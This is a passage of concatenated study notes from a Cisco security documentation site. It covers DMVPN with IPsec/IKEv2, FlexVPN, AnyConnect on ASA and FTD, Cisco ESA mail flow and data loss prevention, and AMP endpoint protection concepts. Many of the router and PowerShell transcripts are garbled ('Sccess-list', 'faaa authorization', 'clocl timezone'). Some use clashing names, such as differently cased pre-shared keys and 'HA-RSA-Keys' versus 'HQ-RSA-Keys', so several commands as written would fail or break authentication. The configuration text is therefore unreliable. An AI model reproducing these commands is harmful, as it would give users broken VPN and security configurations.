nhrp map multicast dynamic Globomantics-HQconfig-if)#ip nhrp shortcut Globomantics-HQ(config-if)#ip nhrp redirect Globomantics-HQ(config-if)#tunnel key 7178 ``` ## Configuring DMVPN on the Spoke Routers ``` text Globmantics-0MA(config)#int tun 100 Globmantics-0MA(config-if)#ip add 192.168.100.2 255.255.255.0 Globmantics-OMA(config-if)#tunnel mode gre multipoint Globmantics-0MA(config-if)#tunnel source ethernet 0/1 Globmantics-OMA(config-if)#ip mtu 1400 Globmantics-OMA(config-if)#ip tcp adjust-mss 1360 Globmantics-OMA(config-if)#tunnel key 7178 Globmantics-OMA(config-if)#ip nhrp network-id 100 Globmantics-0MA(config-if)#ip nhrp authentication Globo123 Globmantics-OMA(config-if)#ip nhrp shortcut Globmantics-OMACconfig-if)#ip nhrp nhs 192.168.100.1 Globmantics-OMA(config-if)#ip nhrp map 192.168.100.1 1.1.1.1 Globmantics-OMA(config-if)#ip nhrp map multicast 1.1.1.1 ``` ## Configuring Dynamic Routing - Look at NHRP & DMVPN statistics ``` text Globmantics-OMA#show in nhrp 192.168.100.1/32 via 192.168.100.1 Tunnel100 created 00:08:44, never expire Type: static. Flags: used NBMA address: 1.1.1.1 Globmantics-OMA#show dmvpn Legend: Attrb --> S Static, D Dynamic, I - Incomplete NATed, L Local, X No Socket # Ent --> Number of NHRP entries with same NBMA peer NHS Status: E --> Expecting Replies, R --> Responding, W --> Waiting UpDn Time --> Up or Down Time for a Tunnel Interface: Tunnel100, IPv4 NHRP Details Type:Spoke, NHRP Peers:1, # Ent Peer NBMA Addr Peer Tunnel Add State UpDn Tm Attrb 1 1.1.1.1 192.168.100.1 UP 00:09:05 S ``` - Configure EIGRP 100 ``` text Gtobomantics-HQ#conf t Enter configuration commands, one per line. End with CNTL/Z. Globomantics-HQ(config)#router eigrp 100 Globomantics-HQ(config-router)#no auto-summary Globomantics-HQ(config-router)#network 192.168.100.0 Globomantics-HQ(config-router)#network 172.18.1.0 Globomantics-HQ(config-router)#int tun 100 Globomantics-HQ(config-if)#no ip next-hop-self eigrp 100 Globomantics-HQ(config-if)#no ip split-horizon eigrp 100 ``` ## Verifying DMVPN ``` text Globmantics-OMA#traceroute 172.18.3.1 source lo1 Type escape sequence to abort. Tracing the route to 172.18.3.1 VRF info: (vrf in name/id, vrf out name/id) 1 192.168.100.1 2 msec 1 msec 1 msec 2 192.168.100.3 6 msec 2 msec 2 msec Globmantics-OMA#show ip nhrp 172.18.2.0/24 via 192.168.100.2 Tunnel100 created 00:05:11, expire 01.54:48 Type: dynamic, Flags: router unique local NBMA address: 2.2.2.2 (no-socket) 172.18.3.0/24 via 192.168.100.3 Tunnel100 created 00:05:11, expire 01:54:48 Type: dynamic, Flags: router rib nho NBMA address: 3.3.3.3 192.168.100.1/32 via 192.168.100.1 Tunnel100 created 00:22:08, never expire Type: static, Flags: used NBMA address: 1.1.1.1 192.168.100.3/32 via 192.168.100.3 Tunnel100 created 00:05:11, expire 01:54:48 Type: dynamic, Flags: router nhop rib NBMA address: 3.3.3.3 Globmantics-OMA#show dmvpn Legend: Attrb --> S Static, Dynamic, - Incomplete N NATed, L - Local, X No Socket # Ent --> Number of NHRP entries with same NBMA peer NHS Status: E --> Expecting Replies, R --> Responding, W --> Waiting UpDn Time --> Up or Down Time for a Tunnel Interface: Tunnel100, IPv4 NHRP Details Type:Spoke, NHRP Peers:2, # Ent Peer NBMA Addr Peer Tunnel Add State UpDn Tm Attrb 2 3.3.3.3 192.168.100.3 UP 00:05:27 DT2 192.168.100.3 UP 00:05:27 DT1 1 1.1.1.1 192.168.100.1 UP 00:22:07 Globmantics-OMA#traceroute 172.18.3.1 source lo1 Type escape sequence to abort. Tracing the route to 172.18.3.1 VRF info: (vrf in name/id, vrf out name/id) 1 192.168.100.3 2 msec 5 msec 1 msec ``` ## IPsec Config Intro and Smart Defaults ### Configuring IKEv2 on Cisco IOS - Configure IKE_SA Tunnel - Configure Keyring - Configure IKEv2 Proposal - Configure IKEv2 Profile - Configure IKEv2 Policy - Configure Child_SA Tunnel - Configure Transform Set - Configure IPsec Profile **Headquarters Key Ring** ``` text Peer Omaha-Router Address 2.2.2.2 Identity FQDN oma.globomantics.com Pre-shared-key local GloboHQ Pre-shared-key remote GloboOMA Peer Portland-Router Address 3.3.3.3 Identity FQDN pdx.globomantics.com Pre-shared-key local GloboHQ Pre-shared-key remote GloboPDX Peer San_Antonio-Router Address 4.4.4.4 Identity fqdn sat.globomantics.com Pre-shared-key local GloboHQ Pre-shared-key remote GloboSAT ``` - Look at IKEv2 smart defaults - Configure HQ IKEv2 keyring, proposal, profile, policy, transform-set and IPsec profile - Apply IPsec profile to the tunnel interface - Configure the rest of the routers with IPsec ## Securing DMVPN with IPsec **HQ Router config** ``` text Globomantics-Main#conf t Globomantics-Main(config)#crypto ikev2 keyring DMVPN-Keys Globomantics-Main(config-ikev2-keyring)#peer Omaha-Router Globomantics-Main(config-ikevZ-keyring-peer)#address 2.2.2.2 Globomantics-Main(config-ikev2-keyring-peer)#identity fqdn oma.globomantics.com Globomantics-Main(config-ikev2-keyring-peer)#pre-shared-key local GLoboHQ Globomantics-Main(config-ikev2-keyring-peer)#pre-shared remote GLoboOMA Globomantics-Main(config-ikev2-keyring-peer)#exit Globomantics-Main(config-ikev2-keyring)#peer Portland-Router GlObomanticS-Main(config-ikevZ-keyring-peer)#address 3.3.3.3 Globomantics-Main(config-ikev2-keyring-peer)#identity fqdn pdx.globomantics.com Globomantics-Main(config-ikev2-keyring-peer)#pre local GLoboHQ Globomantics-Main(config-ikev2-keyring-peer)#pre remote GloboPDX Globomantics-Main(config-ikev2-keyring-peer)#exit Globomantics-Main(config-ikev2-keyring)#peer San_Antonio-Router Globomantics-Main(config-ikev2-keyring-peer)#address 4.4.4.4 Globomantics-Main(config-ikev2-keyring-peer)#identity fqdn sat.globomantics.com Globomantics-Main(config-ikev2-keyring-peer)#pre loc GLoboHQ Globomantics-Main(config-ikev2-keyring-peer)#pre rem GLoboSAT Globomantics-Main(config-ikev2-keyring-peer)#exit Globomantics-Main(config-ikev2-keyring)#exit Globomantics-Main(config)#crypto ikev2 profile DMVPN-Prof Globomantics-Main(Config-ikev2-profile)#match identity remote fqdn fqdn domain globomantics.com Globomantics-Main(config-ikev2-profile)#identity local hq.globomantics.com Globomantics-Main(config-ikev2-profile)#identity local fqdn ha.globomantics.com Globomantics-Main(config-ikevz-profile)#authentication 1ocal pre-share Globomantics-Main(config-ikev2-profile)#authe remote pre Globomantics-Main(config-ikev2-profile)#keyring local DMVPN-Keys Globomantics-Main(config-ikev2-profile)#lifetime 86400 Globomantics-Main(config-ikev2-profile)#exit Globomantics-Main(config)#crypto ikev2 proposal DMVPN-Prop Globomantics-Main(config-ikevz-proposal)#encryption aes-gcm-256 GlobomantiCs-Main(config-ikev2-proposal)#prf sha256 Globomantics-Main(config-ikev2-proposal)#group 15 Globomantics-Main(config-ikev2-proposal)#exit Globomantics-Main(config)#crypto ikev2 policy DMVPN-Pol Globomantics-Main(config-ikev2-policy)#proposal DMVPN-Prop Globomantics-Main(config-ikev2-policy)#exit Globomantics-Main(config)#crypto ipsec transform-set DMVPN-Set esp-aes 256 esp-sha256-hmac Globomantics-Main(cfg-crypto-trans)#mode tunnel Globomantics-Main(cfg-crypto-trans)#exit Globomantics-Main(cfg-crypto-trans)#mode tunnel Globomantics-Main(cfg-crypto-trans)#exit Globomantics-Main(config)#crypto ipsec profile DMVPN-IPsec Globomantics-Main(ipsec-profile)#set transform-set DMVPN-Set Globomantics-Main(ipsec-profile)#set ikev2-profile DMVPN-Prof Globomantics-Main(ipsec-profile)# Globomantics-Main(ipsec-profile)#set ikev2-profile DMVPN-Prof2 Globomantics-Main(ipsec-profile)#exit Globomantics-Main(config)#int tun 100 Globomantics-Main(config-if)#tunnel protection ipsec profile DMVPN-IPsec ``` **Configure the keyring** ``` text crypto ikev2 keyring DMVPN-Keys Peer HO-Router Address 1.1.1.1 Identity FQDN hq.globomantics.com Pre-shared-key local GloboOMA Pre-shared-key remote GloboHQ Exit Peer Portland-Router Address 3.3.3.3 Identity FQDN pdx.globomantics.com Pre-shared-key local GloboOMA Pre-shared-key remote GloboPDX Exit Peer San_Antonio-Router Address 4.4.4.4 Identity fadn sat.globomantics.com Pre-shared-key local GloboOMA Pre-shared-key remote GloboSAT Exit Exit ``` **Create IKEv2 Profile** ``` text crypto ikev2 profile DMVPN-Prof match identity remote fqdn domain globomantics.com identity local fqdn oma.globomantics.com authentication local pre-share authentication remote pre-share keyring local DMVPN-Keys lifetime 86400 exit ``` **Create IKEv2 Proposal** ``` text crypto ikev2 proposal DMVPN-Prop encryption aes-gcm-256 group 15 prf sha256 ``` **Create IKEv2 Policy** ``` text crypto ikev2 policy DMVPN-Pol proposal DMVPN-Prop ``` **Create Transform-set** ``` text crypto ipsec transform-set DMVPN-Set esp-aes 256 esp-sha256-hmac mode tunnel ``` **Create IPSec Profile** ``` text crypto ipsec profile DMVPN-IPsec set transform-set DMVPN-Set set ikev2-profile DMVPN-Prof ``` **Apply to interface** ``` text int tun 100 tunnel protection ipsec profile DMVPN-IPsec ``` ## Verifying and Troubleshooting IPsec ``` text Globomantics-HQ#show crypto ikev2 sa Globomantics-HQ#show crypto ikev2 sa detail Globomantics-HQ#show crypto ipsec sa GLobomantics-HQ#show crypto engine connections active Globomantics-HQ#debug crypto ikev2 ``` --- # Configuring FlexVPN Source: docs/networking/cisco/core-security/describing-and-configuring-vpns/4.-configuring-flexvpn.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/describing-and-configuring-vpns/4.-configuring-flexvpn/ ## IKEv2 Authorization Policies - Configurations sent during VPN setup - FlexVPN can take full advantage of Authorization Policies - IP Addresses - Server Settings - Static Routes **We’re going to:** - Enable AAA - Create an Authorization List - Create an IPv6 ACL allowing IPs we want to include in peer’s routing table - Reference the ACL in an Authorization Policy - Reference both the Authorization List and Authorization Policy in the IKEv2 Profile **Hub Config** ``` text Globomantics-HQ(config)#aaa new-model Globomantics-HQ(config)#aaa authorization network FlexAuthList local Globomantics-HQ(config)#ipv6 access-list Flex-IPs-Out Globomantics-HQ(config-ipv6-acl)#permit ipv6 fd00::/8 any Globomantics-HQ(config-ipv6-acl)#exit Globomantics-HQ(config)#crypto ikev2 authorization policy FlexAuthPolicy Globomantics-HQ(config-ikev2-author-policy)#route set access-list ipv6 Flex-IPs-Out Globomantics-HQ(config-ikev2-author-policy)#route set interface Globomantics-HQCconfig-ikev2-author-policy)#exit Globomantics-HQ(config)#crypto ikev2 profile FlexIKEv2Profile Globomantics-HQCconfig-ikev2-profile)#aaa authorization group cert list FlexAuthList FlexAuthPolicy ``` **Spoke Config** ``` text Globomantics-0MA(config)#aaa authorization network FlexAuthList local Globomantics-OMA(config)#ipv6 access-list Flex-IPs-Out Globomantics-0MA(config-ipv6-acl)#permit ipv6 fd00:2::/64 any Globomantics-0MACconfig-ipv6-acl)#exit Globomantics-0MA(config)#crypto ikev2 auth policy FlexAuthPolicy Globomantics-0MA(config-ikev2-author-policy)#Sccess-list ipv6 Flex-IPs-Out Globomantics-0MA(config-ikev2-author-policy)#exit Globomantics-0MA(config)#crypto ikev2 profile FlexIKEv2Profile Globomantics-0MA(config-ikev2-profile)#faaa authorization group cert list FlexAuthList FlexAuthPolicy ``` ## Creating a Dynamic VTI ### Dynamic VTIs - Allow VPN interfaces to be automatically created - Reduces administrative overhead - Virtual template ``` text Globomantics-HQ#conf t Globomantics-HQ(config)#interface virtual-template 6 type tunnel Globomantics-HQ(config-if)#ipv6 unnumbered loopback Globomantics-HQ(config-if)#tunnel source 1000:1::1 Globomantics-HQ(config-if)#tunnel mode ipsec ipv6 Globomantics-HQ(config-if)#tunnel protection ipsec profile FlexIPsecProfile Globomantics-HQ(config-if)# Globomantics-HQ(config-if)#exit Globomantics-HQ(config)#crypto ikev2 profile FlexIKEv2Profile Globomantics-HQ(config-ikev2-profile)#virtual-template 6 Globomantics-HQ(config-ikev2-profile)#exit ``` ## Enrolling in Globomantics’ PKI - Still need to configure authentication - Digital certificates are more secure - Easier to scale - Use RSA signatures as authentication - Match on the issuer of the certificates **We’re going to:** - Configure NTP - Generate RSA keys - Create PKI trustpoint pointing to Globomantics’ CA server - Install CA cert - Generate CSR and install our own cert - Reference our cert in our IKEv2 profile by using a certificate map ``` text Globomantics-HQ#conf t Globomantics-HQ(Config)#ntp server 8.8.8.8 Globomantics-HQ(config)#clocl timezone est -5 Globomantics-HQ(config)# Globomantics-HQ(config)# Globomantics-HQ(config)#$generate rsa modulus 2048 label HQ-RSA-Keys Globomantics-HQ(config)#crypto pki trustpoint Globo-CA Globomantics-HQ(ca-trustpoint)#enrollment terminal Globomantics-HQ(ca-trustpoint)#fqdn hq.globomantics.com Globomantics-HQ(ca-trustpoint)t#subject-name cn=hq.globomantiCs.com Globomantics-HQ(ca-trustpoint)#revocation-check none Globomantics-HQ(ca-trustpoint)#rsakeypair HA-RSA-Keys Globomantics-HQ(ca-trustpoint)#exit Globomantics-HQ(config)#crypto pki authenticate Globo-CA Globomantics-HQ(config)#crypto pki enroll Globo-CA ``` ![image1](_images/configuring-flexvpn-1.png) ``` text Globomantics-H0(confia)#crypto pki import Globo-CA certificate Globomantics-HQ(config)#do show crypto pki certificates ``` ## Using Digital Certificates for Authentication ``` text Globomantics-HQ(config)#crypto pki certificate map FlexCerts 1 Globomantics-HQ(ca-certificate-map)#issuer-name co globomantics Globomantics-HQ(ca-certificate-map)#exit Globomantics-HQ(config)#crypto ikev2 profile FlexIKEv2Profile Globomantics-HQ(ca-certificate-Map)#issuer-name co globomantics Globomantics-HQ(ca-certificate-map)#exit Globomantics-HQ(config)#crypto ikev2 profile FlexIKEv2Profile Globomantics-HQ(config-ikev2-profile)#identity local dn Globomantics-HQ(config-ikevZ-profile)#match certificate FlexCerts Globomantics-HQ(config-ikev2-profile)#authentication remote rsa-sig Globomantics-HQCconfig-ikev2-profile)#authen local rsa-sig Globomantics-HQ(config-ikev2-profile)#pki trustpoint Globo-CA Globomantics-HQ(config-ikev2-profile)#lifetime 86400 Globomantics-HQ(Config-ikev2-profile)#exit ``` ## Configuring a FlexVPN Client ### FlexVPN Clients - Previously configured static tunnels - Configure spokes to act as FlexVPN client - Connect to multiple peers - Use SLA tracking objects ``` text Globomantics-OMA(config)#crypto ikev2 client flexvpn GloboFlex Globomantics-0MA(config-ikev2-flexvpn)#peer 1 1000:1::1 Globomantics-OMA(config-ikev2-flexvpn)#peer 2 1111:1::1 Globomantics-0MA(config-ikev2-flexvpn)#connect auto Globomantics-OMA(config-ikev2-flexvpn)#client inside loop2 Globomantics-OMA(config-ikevZ-flexvpn)#client connect tunnel 6 Globomantics-OMA(config)#int tun 6 Globomantics-0MA(config-if)#ipv6 unnumbered lo6 Globomantics-OMA(config-if)#tunnel source 2000:2::2 Globomantics-OMA(config-if)#tunnel mode ipsec ipv6 Globomantics-QMA(config-if)#tunnel protection ipsec profile FlexIPsecProfile Globomantics-OMA(config-if)#tunnel destination dynamic Globomantics-0MA(config-if)# ``` --- # Configuring Cisco AnyConnect on the ASA Source: docs/networking/cisco/core-security/describing-and-configuring-vpns/5.-configuring-cisco-anyconnect-on-the-asa.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/describing-and-configuring-vpns/5.-configuring-cisco-anyconnect-on-the-asa/ ## Uploading the AnyConnect Client to the ASA ![image1](_images/configuring-cisco-anyconnect-on-the-asa-1.png) ## Adding the ASA to the PKI Infrastructure ![image2](_images/configuring-cisco-anyconnect-on-the-asa-2.png) ![image3](_images/configuring-cisco-anyconnect-on-the-asa-3.png) ![image4](_images/configuring-cisco-anyconnect-on-the-asa-4.png) ![image5](_images/configuring-cisco-anyconnect-on-the-asa-5.png) ![image6](_images/configuring-cisco-anyconnect-on-the-asa-6.png) ![image7](_images/configuring-cisco-anyconnect-on-the-asa-7.png) ## Creating IP Pools and NoNAT Rules ![image8](_images/configuring-cisco-anyconnect-on-the-asa-8.png) ![image9](_images/configuring-cisco-anyconnect-on-the-asa-9.png) ## Integrating the ASA with Active Directory ![image10](_images/configuring-cisco-anyconnect-on-the-asa-10.png) ![image11](_images/configuring-cisco-anyconnect-on-the-asa-11.png) ## Policy Hierarchy and Configuring Dynamic Access Policies ### The Ways Settings are Configured - VPN Connection Profile - User Profile Policy - Dynamic Access Policy - Group Policy ### Settings Priority 1. Dynamic Access Policy 2. User Profile Policy 3. User Profile Specified Group Policy 4. Conn. Profile Specified Group Policy 5. Default Group Policy ![image12](_images/configuring-cisco-anyconnect-on-the-asa-12.png) ## Configuring Group Policies ![image13](_images/configuring-cisco-anyconnect-on-the-asa-13.png) ![image14](_images/configuring-cisco-anyconnect-on-the-asa-14.png) ## Configuring Connection Profiles ![image15](_images/configuring-cisco-anyconnect-on-the-asa-15.png) --- # Configuring Cisco AnyConnect on the FTD Source: docs/networking/cisco/core-security/describing-and-configuring-vpns/6.-configuring-cisco-anyconnect-on-the-ftd.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/describing-and-configuring-vpns/6.-configuring-cisco-anyconnect-on-the-ftd/ ## Integrating Active Directory with the FTD ![image1](_images/configuring-cisco-anyconnect-on-the-ftd-1.png) ## Installing an Identity Cert on the FTD ![image2](_images/configuring-cisco-anyconnect-on-the-ftd-2.png) ## Configuring a Remote Access Connection Profile on a Cisco FTD ![image3](_images/configuring-cisco-anyconnect-on-the-ftd-3.png) ## Configuring a NAT Exemption and ACL Rules for VPN User Traffic ![image4](_images/configuring-cisco-anyconnect-on-the-ftd-4.png) ![image5](_images/configuring-cisco-anyconnect-on-the-ftd-5.png) --- # Describing and Configuring VPNs Source: docs/networking/cisco/core-security/describing-and-configuring-vpns/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/describing-and-configuring-vpns/ --- # Deploying the ESA and Placing It in the Email Path Source: docs/networking/cisco/core-security/email-security-with-cisco-esa/1.-deploying-the-esa-and-placing-it-in-the-email-path.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/email-security-with-cisco-esa/1.-deploying-the-esa-and-placing-it-in-the-email-path/ ## ESA Overview - Placing the ESA in the Email Path - The MX record for Globomantics needs to be updated to point to the ESA’s public facing IP - Configured on-premises - Physical - Virtual - Configured in the cloud (CES) - Built using AsyncOS - Designed to block: - Malicious content - SPAM ## ESA Email Work Queue ### Incoming Mail Flow Process - Receipt - Setting up SMTP connection - Sender’s reputation - Recipient domain - Work Queue - Message Filters - Anti-spam - Anti-virus - AMP - Graymail - Content Filters - Outbreak Filters - Delivery - Delivery to email server ### Outgoing Flow Process - Receipt - Setting up SMTP connection - Work Queue - Message Filters - Anti-spam - Anti-virus - AMP - Graymail - Content Filters - Outbreak Filters - Data Loss Prevention - Delivery - Deliver to external email server ## Email Security Deployment Options - Use CES to secure hosted email - Physical or virtual ESA - Physical - dedicated resources - Virtual - dynamic and quicker deployments - Number of interfaces ## Initial Config and Licensing of the ESA ``` text interfaceconfig edit loadlicense ``` - MUA - Mail User Agent - Email client installed on user’s computer/phone - MTA - Mail Transfer Agent - Also called email server or Mail eXchanger (MX) - DNS is required for email to function properly. - MX and host records --- # Configuring the ESA to Accept Email Source: docs/networking/cisco/core-security/email-security-with-cisco-esa/2.-configuring-the-esa-to-accept-email.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/email-security-with-cisco-esa/2.-configuring-the-esa-to-accept-email/ ## Configuring Interfaces to Send and Receive Email ![image1](_images/configuring-the-esa-to-accept-email-1.png) ![image2](_images/configuring-the-esa-to-accept-email-2.png) ## Listeners and Host Access Tables ### Listeners Listeners listen on the specified SMTP port for SMTP traffic - Public Listener - Receives emails that are from other organizations with your org as the recipient - Public listener will only accept emails if the recipient domain is explicitly defined - Private Listener - Receives emails that are from your org with outside organizations as the recipient ![image3](_images/configuring-the-esa-to-accept-email-3.png) ![image4](_images/configuring-the-esa-to-accept-email-4.png) - Cisco sees over 300 billion emails daily - Determine the likely hood that a sender is malicious or legitimate - IP Address of mail server - Reverse DNS lookup - Determine network owner - Organization controlling mail servers should be using IP space ## SMTP Deep Dive ### SMTP 3-Digit Codes - 2 - Success - received, accepted and understood by the server - 3 - Redirection - more information is required - 4 - Temporary failure failure should be easily resolved - 5 - Permanent failure - failure is unlikely to be resolved ### SMTP Envelope ``` text << 220 email.carvedrock.com SMTP >> HELO email.globomantics.com << 250 email.carvedrock.com >> MAIL FROM << 250 sender kinda@globomantics.com> ok >> RCPT TO: << 250 recipient ok ``` ### SMTP Headers ``` text >> DATA << 354 go ahead >> From: kinda >> To: angie >> Subject: Hello? >> Date tue, 8 October 2019 21:28:30 -0800 ``` X-headers can be used to send additional information in an email, but they are not required ### SMTP Body ``` text >> Pluralsight has some of the best training >> kinda << 250 ok >> QUIT << 221 email.carvedrock.com ``` ## Mail Flow Policies ### Mail Flow Policy Behaviors - Relay - Used to forward outbound emails from Globomantics - Relay is the only behavior that does not require an associated Recipient Access Table (RAT) - Accept - Used to accept incoming email from senders - Reject - SMTP connection is started, but 400 or 500 code is sent - TCP Refuse - No SMTP connection, sender may continue to try again - Continue - No definitive action, try to match another sender group ![image5](_images/configuring-the-esa-to-accept-email-5.png) ![image6](_images/configuring-the-esa-to-accept-email-6.png) ## Integrating the ESA with LDAP and Recipient Access Table Deep Dive ### Integrating ESA with LDAP - ESA will block emails if the recipient doesn’t exist - Once LDAP is configured, by default all recipients will be verified ![image7](_images/configuring-the-esa-to-accept-email-7.png) ![image8](_images/configuring-the-esa-to-accept-email-8.png) Place the more specific condition at the top, so it is matched before a more generalized condition --- # Configuring the Default Incoming Mail Policy Source: docs/networking/cisco/core-security/email-security-with-cisco-esa/3.-configuring-the-default-incoming-mail-policy.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/email-security-with-cisco-esa/3.-configuring-the-default-incoming-mail-policy/ ## Anti-Spam Policy - Most spam doesn’t make it past HAT - Legit email could be black listed - Would need to create a separate policy - Two engines - Scores between 1 and 100 - Positively identified spam, suspected spam, not spam ### Cisco IronPort Anti-Spam - Detects spam and other email attacks - 100,000 attributes - 99% catch rate, in 1-million false positive ### Cisco Intelligent Multi-Scan - Third party anti-spam tools scan the email - Cisco IronPort Anti-Spam then scans the email itself, and makes the final determination ![image1](_images/configuring-the-default-incoming-mail-policy-1.png) ### Graymail Filter - Graymail is mail from companies that users have interacted with in the past - Uniform Experience - Users will have the same experience unsubscribing from all emails - Safer - Some unsubscribe link sare actual phishing campaigns - Better Visibility - Admins are able to see categories that graymail was classified as ## Anti-Virus Policy ![image2](_images/configuring-the-default-incoming-mail-policy-2.png) - SenderBase filters out most viruses - Two systems, McAfee and Sophos - Can be usec together - Uses more resources - McAfee - Definitions to find malware - Can emulate a file in safe environment - Repair files - Sophos - Classifier to find malware - Various engines for specific file types - Can emulate, decompress, detect macros - Repair files ## Advanced Malware Protection Policy AMP will alert you after the fact if the file’s disposition changes so you can take action ![image3](_images/configuring-the-default-incoming-mail-policy-3.png) ![image4](_images/configuring-the-default-incoming-mail-policy-4.png) ## Content Filter Policy ![image5](_images/configuring-the-default-incoming-mail-policy-5.png) You can choose to define who the content filter applies to in the filter itself, or by creating multiple policies and only applying the filter that applies. ## Outbreak Control Filters - Outbreaks spread new attacks quickly - Viral files, phishing attacks, or malware distribution - Cisco Threat Operations Center (TOC) - Compare global trends to baselines - ESA’s default is to stop any file that is rated as a 3 or higher. ### Outbreak Control Policy - AMP detects threats in a different way - Could wait a long time for verdict - Outbreak looks at global picture - Non-viral threats - TOC analyzes messages and URLs ![image6](_images/configuring-the-default-incoming-mail-policy-6.png) ## Creating an Additional Policy ![image7](_images/configuring-the-default-incoming-mail-policy-7.png) --- # Configuring the Default Outgoing Mail Policy and Verifying Source: docs/networking/cisco/core-security/email-security-with-cisco-esa/4.-configuring-the-default-outgoing-mail-policy-and-verifying.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/email-security-with-cisco-esa/4.-configuring-the-default-outgoing-mail-policy-and-verifying/ ## Text Resources ![image1](_images/configuring-the-default-outgoing-mail-policy-and-verifying-1.png) ## Quarantine ![image2](_images/configuring-the-default-outgoing-mail-policy-and-verifying-2.png) ## Data Loss Prevention - Unauthorized sensitive data doesn’t leave the network - IP, personal info, financial statements - Both malicious and unintentional - Scans outbound emails - Pre-built regular expressions and keywords - Looks at contents of email - Supporting info and proximity - Scores between and 100 - Severity level - Action ![image3](_images/configuring-the-default-outgoing-mail-policy-and-verifying-3.png) ![image4](_images/configuring-the-default-outgoing-mail-policy-and-verifying-4.png) ![image5](_images/configuring-the-default-outgoing-mail-policy-and-verifying-5.png) ![image6](_images/configuring-the-default-outgoing-mail-policy-and-verifying-6.png) ## Setting up an Email Server for Testing - Microsoft Server - MailEnable - AD Users and Computers, DNS, IIS ``` text PS C:\Users\ Administrator> Import-Module ActiveDirectory PS c:\Users Administrator> $User = Get-ADUser kinda -Properties proxyaddresses PS C:\users Administrator> Suser-proxyAddresses-Add("SMTP:kinda@example.com") PS C:\Users\Administrator» Set-ADUser -instance $user PS c:\users \Administrator> Import-Module ActiveDirectory Ps c:\Users\Administrator> $User = Get-ADUser brian -Properties proxyAddresses PS c:\Users \Administrator» $User.proxyAddresses.Add("SMTP:brian@example.com") PS c:\Users\Administrator> Set-ADUser -instance $User PS c:\Users\Administrator> ``` ## Configuring an Email Client Setting up mail client is self-explanatory Make sure that DNS is flushed before your testing you start ``` text esa.example.com> dnsflush Are you sure you want to clear out the DNS cache? [N]> Y ``` ## Verifying DLP and Incoming and Outgoing Mail Policies ![image7](_images/configuring-the-default-outgoing-mail-policy-and-verifying-7.png) ![image8](_images/configuring-the-default-outgoing-mail-policy-and-verifying-8.png) --- # Email Security with Cisco ESA Source: docs/networking/cisco/core-security/email-security-with-cisco-esa/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/email-security-with-cisco-esa/ --- # Explaining Security Concepts to Protect Endpoints Source: docs/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/1.-explaining-security-concepts-to-protect-endpoints.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/1.-explaining-security-concepts-to-protect-endpoints/ ## Antivirus & Dynamic File Analysis ### Why Endpoints Need Protected - Defense in-depth - Endpoints contain sensitive information - They now leave the protected network infrastructure ### Computer Viruses - Attach themselves to otherwise benign files or programs - Lay dormant until file or program is executed ### Antivirus - Create signatures to identify viruses - Analyzed known viruses - Without a signature, antivirus won’t detect a virus - Malicious actors slightly change the virus so a new signature needs to be created - Required scanning of the endpoint ### Heuristics Looks at the behavior of the software rather than a predefined signature. ### Machine Learning Dynamically creates algorithms and finds patterns based on large sets of both malicious files and benign files. ## Cisco AMP for Endpoints Overview ### Cisco AMP Cloud - Heavy lifting is done in the cloud and not on the endpoint - Quickly integrate to other security products - Connectors communicate to the Cisco AMP cloud ### Cisco AMP’s Engines Uses a file’s SHA-256 hash to quickly determine if it has been seen and if it is malicious #### Ethos Looks at the different artifacts of the file, rather than the entire file itself #### Spero Uses machine learning in order to find patterns to determine malicious files from benign files #### TETRA Provides antimalware capabilities when the device is not connected to the cloud ### Additional Cisco AMP Benefits - Evaluate indicators of compromise (IOCs) - Anomalies that could mean a compromise - AMP can protect endpoints in real time - Dynamic analysis - Execute that file in a sandbox - Exploit prevention - AMP moves the location RAM that the program is running ### Cisco AMP Flow - Hash of file is used to determine if it has been seen - If it has been seen, previous verdict is used - AMPs engines, IOCs, & dynamic analysis are used - AMP will update the rest of the security suite of the new threat ## Retrospective Security Go back in time and see which endpoints the malicious file has touched. ### Device Trajectory Determine every interaction between the malicious file and other files on the endpoint. AMP can dynamically create rules based on the events that occurred. ## Endpoint Protection Platform & Endpoint Detection and Response ### EPP vs EDR | Endpoint Protection Platform | Endpoint Detection & Response | |-------------------------------|---------------------------------| | Known threats are not allowed | Retroactively find malware | | Machine learning & big data | Contain the malicious files | | Sandbox capability | Investigate the malicious files | | Threat Intelligence | Eliminate the threat | Cisco AMP provides both EPP and EDR capabilities ## Justifying Endpoint Patching ### Keeping Endpoints up to Date - Exploit vulnerabilities in system code or software code - Flaw allowed malicious actors to spoof digital certificate - Microsoft released a patch that fixed the flaw --- # Assessing Endpoint Posture and Managing Device Inventory Source: docs/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/2.-assessing-endpoint-posture-and-managing-device-inventory.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/2.-assessing-endpoint-posture-and-managing-device-inventory/ ## Endpoint Posture Assessment ### Posture Assessment Solution - Malware takes advantage of vulnerabilities - Companies issue patches - Organizations want to know the posture of their devices - Posture assessment solutions automate this process ### Cisco AnyConnect #### ISE Posture Module Integrates with Cisco ISE to determine the posture of the device #### HostScan Module The device’s posture is sent to the ASA when client connects to the VPN ## Enterprise Mobility Management and Cisco Meraki Systems Manager ### Enterprise Mobility Management - Solution that manages devices when they are not on the network - Organization’s networks provide physical and digital security - Devices are now more mobile than ever - EMM’s provide additional safeguards ### Cisco Meraki Systems Manager - Cloud-based device management tool - Mobile Device Management (MDM) - Mobile Application Management (MAM) - Mobile Content Management (MCM) - Mobile Identity Management (MIM) - Seamlessly integrates with other Meraki components #### Posture Compliance Ensure devices meet minimum requirements #### Deploy Apps Install preconfigured Applications #### Location Detection Determine the location of the device #### Software Version Determine software of the device and apps #### Troubleshooting Tools Diagnostics and reports of the device --- # Using Multi-Factor Authentication Source: docs/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/3.-using-multi-factor-authentication.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/3.-using-multi-factor-authentication/ ## Multi-Factor Authentication ### Single Factore Authentication 